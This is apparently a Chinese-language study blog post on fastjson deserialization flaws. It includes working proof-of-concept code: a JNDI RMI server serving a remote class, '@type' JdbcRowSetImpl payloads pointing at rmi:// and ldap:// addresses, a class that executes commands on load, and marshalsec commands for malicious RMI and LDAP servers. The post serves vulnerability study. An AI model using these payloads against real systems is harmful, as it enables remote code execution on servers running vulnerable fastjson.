fastjson基本使用
首先就是新建一个maven项目,因为现在手头这台机子没装idea,就用vscode吧
包名为com.fastjsonser
目录结构如下:
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.fastjsonser;
import java.io.IOException;
public class Person { private String name; private int age;
public String getName() { return name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; }
}
|
Ser.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.fastjsonser;
import java.io.IOException;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Ser { public static void main(String[] args) throws IOException { Person person = new Person(); person.setName("harry"); person.setAge(22); String jsonstring = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(jsonstring); System.out.println(JSON.parse(jsonstring)); System.out.println(JSON.parseObject(jsonstring));
} }
|
可以看到因为parse没执行成功,parseObject执行成功了,因为parseObject会根据@type来自动转换对象成json
尝试在各个get.set中加入输出语句来方便观察调用的顺序和逻辑:
漏洞在于parse只会触发set方法,parseObject会触发get,set两种方法,这种特性导致了反序列化漏洞的发生,在get中构造恶意的代码会被自动的执行
触发反序列化
修改person类,往里面加入一个新的成员变量,private String gender
并补全set,get方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| public String getGender() { System.out.println("call getgender");
return gender; }
public void setGender(String gender) throws IOException { System.out.println("call setgender");
this.gender = gender; Runtime.getRuntime().exec("gnome-calculator"); }
|
弹了俩计算器并且set,get分别执行了两次,很好理解因为给
person赋值的时候调用了一次set,
toJSONString的时候调用了一次get
parseobject会分别调用一次set,get
利用链
记录一下poc
JNDI+RMI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.fastjsonser;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import javax.naming.NamingException; import javax.naming.Reference;
public class JNDIServver {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "com.fastjsonser.badClassName", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit", referenceWrapper); } }
|
1 2 3 4 5 6 7 8 9 10 11
| package com.fastjsonser;
import com.alibaba.fastjson.JSON;
public class JNDIClient { public static void main(String[] argv) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(payload); } }
|
1 2 3 4 5 6 7 8 9 10
| public class badClassName { static{ try{ Runtime.getRuntime().exec("/usr/bin/gnome-calculator"); }catch(Exception e){ ; } } }
|
利用条件
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121,
利用方法
运行JNDIServer
在badclassname相同目下开启http服务
运行JNDIClient
JNDI+LDAP
只修改client的payload
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
|
启动LDAPServer
利用条件
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u19
也可以用工具来进行利用
https://github.com/mbechler/marshalsec
装有java8,使用mvn clean package -DskipTests
编译
1 2 3 4 5 6
| #rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject #不加8088端口号 默认是1099 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088 #rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject #不加8088端口号 默认是1389 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088
|
同时恶意class文件的web服务还需要自己去起。
参考
https://xz.aliyun.com/t/6633#toc-5
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/#Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE
https://xz.aliyun.com/t/8979#toc-3